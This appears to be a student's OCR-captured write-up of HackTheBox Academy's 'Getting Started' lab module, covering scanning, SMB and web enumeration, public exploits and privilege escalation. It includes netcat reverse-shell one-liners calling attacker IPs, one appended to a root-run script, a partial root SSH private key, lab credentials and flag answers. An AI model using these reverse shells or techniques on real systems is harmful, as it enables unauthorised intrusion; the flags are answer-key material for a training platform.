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1. INTRODUCTION

The assignment covered getting started with penetration testing and the HackTheBox platform. It
discussed navigating the HTB platform, how to get help, and where to ask questions.
Additionally, it provided a comprehensive step-by-step guide through the Penetration Testing
process, from scanning targets and probing for open ports to enumerating and using public
exploits to file transfers and privilege escalations techniques.

2. ANSWERS TO QUESTIONS

Penetration Testing basics
a. Apply what you learned in this section to grab the banner of the above server and
submit it as the answer.

b. Perform a Nmap scan of the target. What is the version of the service from the
Nmap scan running on port 8080?

c. Perform an Nmap scan of the target and identify the non-default port that the telnet
service is running on.

e Scan top 1000 ports with nmap -v -Pn -sV 10.129.42.254
e Apache Tomcat is running on port 8080.
e Telnet service is running on port 2323 (usually 23 by default)
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d. List the SMB shares available on the target host. Connect to the available share as
the bob user. Once connected, access the folder called 'flag' and submit the contents
of the flag.txt file.

From the screenshot above:
e List available shares with the command smbclient -N -L \\\\10.129.42.254
e Access the share users with bob credentials bob:Welcomel
e Download flag.txt
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Web Enumeration
a. Try running some of the web enumeration techniques you learned in this section on
the server above, and use the info you get to get the flag.
Performed directory enumeration with gobuster.

e robots.txt revealed an admin page leading to an admin panel.
e Tests credentials admin:password123 exposed in comments.
e Use that to log in and get the flag.
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& C A Notsecure 83.136.255.125 ts.txt

@ Crackmes & Gmail » YouTube & Maps

User-agent: *
Disallow: | /admin-login-page.php

v [ CSA2-2024: Assignment 3: Gett X | @ Hack The Box - Academy X @ 8313625512553912/admin-lc X +
€ > C A\ Notsecure  83.136.255.125:539 mi l Finish update }
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Logout

HTB{w3b_3num3r4710n_r3v34I5_53cr375}

Public Exploits
a. Try to identify the services running on the server above, and then try to search to

find public exploits to exploit them. Once you do, try to get the content of the

'/flag.txt' file. (note: the web server may take a few seconds to start)
e Scanned top 1000 ports. Port 19,22,111,646 were open/filtered.

e [ couldn’t find any vulnerabilities in those services.



e Proceeded to scan only the port connecting to the target webserver spawned.
(Simple Backup Plugin version 2.7.10 was running on the web server)
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“The Simple Backup plugin version 2.7.10 for WordPress has a vulnerability that allows
for arbitrary file download. This means that an attacker can exploit this vulnerability to
download any file from the server where the plugin is installed. This could include
sensitive files such as configuration files or files containing credentials, potentially
leading to further compromise of the system.”
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e [ used the exploit and set options RHOST, RPORT, and FILEPATH. The exploit
targets a specific file on the server(/etc/passwd by default).
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Privilege Escalation
a. SSH into the server above with the provided credentials, and use the '-p xxxxxx' to
specify the port shown above. Once you login, try to find a way to move to 'user2’, to
get the flag in '/home/user2/flag.txt'.
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userlang-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws72:~$ sudo -1
Matching Defaults entries for userl on ng-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws72:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User userl may run the following commands on ng-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws72:
(user2 : user2) NOPASSWD: /bin/bash

userlang-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws7. $ sudo -u user2 /bin/bash

user2ang-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws7. home/user1$

user2ang-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws72:/home/userl1$ 1s

user2ang-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws7 /

bin boot dev etc home 1lib 1ib32 1ib64 1ibx32 media root run sbin srv sys tmp usr var

user2@ng-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws7.

user2ang-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws7

flag.txt

user2ang-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws72:~$ lcat flag.txt

HTB{1473r41_mov3m3n7_70_4n07h3r_u53r}

userZang-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws72:~$

p Search

After listing the sudo privileges that userl has, I discovered that the user can execute the bash
shell as user2 with no password. That gave me elevated privileges to user2.

As user2, I identified that I have permission to read the root user’s private key in /root/.ssh
directory. I copied the file to my attack machine as base64 and used to the command echo
“b3BlI—-SNIP—" | base64 -d > root_key to write it to a file. We changed permissions for the file
because the ssh server would prevent them from working if they have lax permissions.

[
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cypherpunk@votex: ~ root@ng-144829-gettingstartedprivesc-yqs6f-c8458¢79f-xws72: ~ -

user2gng-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws72:~$ 1s /root/
flag.txt
user2gng-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws72:~$ | cat /root/flag.txt
cat: /root/flag.txt: Permission denied
user2gng-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws7 $ cd /root/
user2gng-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws7 root$ 1s -la
total 40

root user2 4096 May 16 18:54 .

root root 4096 May 16 18:11 ..

root user2 5 Aug 19 2020 .bash_history

root user2 3106 Dec 5 2019 .bashrc

root root 4096 May 16 18:54 .cache

root user2 161 Dec 5 2019 .profile

root user2 4096 Feb 12 2021 .ssh

root user2 1309 Aug 19 2020 .viminfo

root root 33 Feb 12 2021 flag.txt
user2ang-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws7. root$ cd .ssh/
user2gng-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws72:/root/.ssh$ 1s

authorized_keys id_rsa id_rsa.pub
user2qng-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws72:/root/.ssh$| cat id_rsa
= BEGIN OPENSSH PRIVATE KEY-----
b3B1lbnNzaClrzXktdjEAAAAABGS5vbmUAAAAEbMIUZQAAAAAAAAABAAABTWAAAAdZc2gtcn
NhAAAAAWEAAQAAAYEAt3nX57B1Z2nSHY+aaj41Kt91lyeLVNiFh7X0vQisxoPv9BjNppQxV
PtQ8csvHq/GatgSo8oVyskZIRbWb7QvCQI7)sT+Pr4ieQayNIoDm6+i9F1hXyMcOVsAqMk
0529YKStLma0iN6181MrodAI63x0mtwRKeHvIR+EiMtUTTAX9++kQImDIF31DSnLF4/dEy
G4WQSAH7F812z30rRKLprBiDf27LSPg0J6j80Ln4bsiacaWFBL3+CqkXeGkecEHg5dIL4K+
aPDP2xzFBOdOc7kZ8AtogtD3UYdiVKuF5fz0PIxJ01Mko7UsrhAh@T6mIBIWRL j jUtHWSS
ntrFfEStrYETSL+ov5WSi+tyBrAfCcg@vWlU78Ge/3h4zAG8KaGZProMUS1u3MbCfl1uk/
EKQXXCNIyr7Gmci0pLiok16A1vcI1xXYHBtIg6anLntwYVXbwYgYXp2Ghj+GwPcj2Ti4fq
YNRFP1fsy6z0SjN9C977hCh5]1StT6KFfOIdM68BCHAAAFiA2z000NsztKAAAAB3NzaClyc2
EAAAGBALA51+ewdWdpOh2Pmmo+]SrfZcnilTYhYe19LOIrMaD7/QYzaaUMVT7UPHLLX6VX
mrYEQPKFcrJGSEW1m+0LwkCOybE/ j6+InkGs jSKASuvovRdYV8 jHNFbAKj INOC/WCkrS5m
t1jepfNTKOHQCOt8dIrcESnh7yUfhIjLVESQF/fvpECZg/Rd5Q0pyxeP3RMhuFKEEB+XFC
c92q0Si6awYg39uy0j4Dieo/Di5+G7ImnGLhQZd/gqpF3hpHnBB4OXSC+Cvmjwz9scxQdH
[dHOSGfALaILQ91GHY1SrheX8zjycSTtTIKO1LK4QIdE+piASVkZY41LR8ErI7axXx0ba2B
E+S/qL+VkovrcgawHwnINL1tVO/Bnv94eMwBvCmhmT66DFEpbtzGwn5dbivxCkF8QjSMg+
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We can then log in as root using the private key.
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cypherpunk@votex: ~ root@ng-144829-gettingstartedprivesc-yqs6f-8458¢79f-xws72: ~

hmod 600 rook_key|

Csssh -p 58115 root@94.237.53.158 -i rook_key
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 6.1.0-10-amd64 x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

rootang-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws72:~# 1s
flag.txt
rootang-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws72:~# cat flag.txt

HTB{privi1363_35c414710n_2_ro07}
rootang-144829-gettingstartedprivesc-yqs6f-c8458c79f-xws72: I

Attacking your first box - Nibbles

a. Run an nmap script scan on the target. What is the Apache version running on the
server? (answer format: X.X.XX)
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Web Footprinting
e Root web server was just “Hello world” site.
e Comments revealed /nibbleblog/ - homepage for a blogging site.
e Directory enumeration of /nibbleblog/ revealed admin portal(admin.php)
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e README file identified the site with version 4.0.3 - vulnerable to Arbitrary File
Upload Vulnerability.

e Further file and directory enumeration helped unveil the username and password as
admin:nibbles.

b. Gain a foothold on the target and submit the user.txt flag
e Upload a malicious reverse shell script(shell.php)

("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i
2>gl|nc 10.10.14.204 13377>/tmp/£f") ;
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e Start netcat listening on port 13377
e Use Curl to execute our malicious shell.php script.
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c. Escalate privileges and submit the root.txt flag.
e Used the Linux Enumeration script(LinEnum.sh) to perform privilege escalation
checks.
e Identified I could run the monitor.sh file as root. I also have writing permissions
on it. We can append the malicious script below to it that’ll provide a reverse shell

connection.
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc

10.10.14.2 8443 >/tmp/f' | tee -a monitor.sh
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e Catch the root shell on the netcat listener.
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Knowledge Check

a. Spawn the target, gain a foothold and submit the contents of the user.txt flag.
e Identified GetSimpleCMS running on port 80 from basic scanning.
e Discovered a username and a password hash through directory and file
enumeration.
e Cracked the password with hashcat, password=admin.
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This XML file does not appear to have any style information associated with it. The document tree is shown below.

—<item>
>admin</USR>
>
>d033e22ae348aeb5660fc2140aec35850c4dag997</PWD>
11 >admin@gettingstarted.com</ >
R>1</H DITOR>

>en US</LANG>

The site runs GetSimple version 3.3.15, which, from my research, I discovered is vulnerable to
arbitrary file upload(CVE-2019-11231). The vulnerability exists in the admin/theme-edit.php,
a functionality that allows editing and customizing the available themes.

e Downloaded a public exploit and used it against the target.
https://www.exploit-db.com/exploits/51475



https://www.cvedetails.com/cve/CVE-2019-11231/
https://www.exploit-db.com/exploits/51475
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b. After obtaining a foothold on the target, escalate privileges to root and submit the
contents of the root.txt flag.
e Enumerate sudo privileges
e We can execute php with sudo privileges
e C(Craft a payload to spawn a shell using PHP
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3. MODULE COMPLETION

https://academy.hackthebox.com/achievement/144829/77

Great job c1ph3rbnuk!
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4. CONCLUSION

The assignment was very engaging and challenging. Its challenging nature improved my
problem-solving skills. I learnt how to use NMAP to scan networks/targets and identify services
running on them. I also learnt how to enumerate web services and discover private
files/directories not known before. Additionally, I learnt how to research for vulnerabilities
existing within a service version and exploit it using public available exploits. Lastly, I learnt
how to escalate privileges to a more powerful user in the system.
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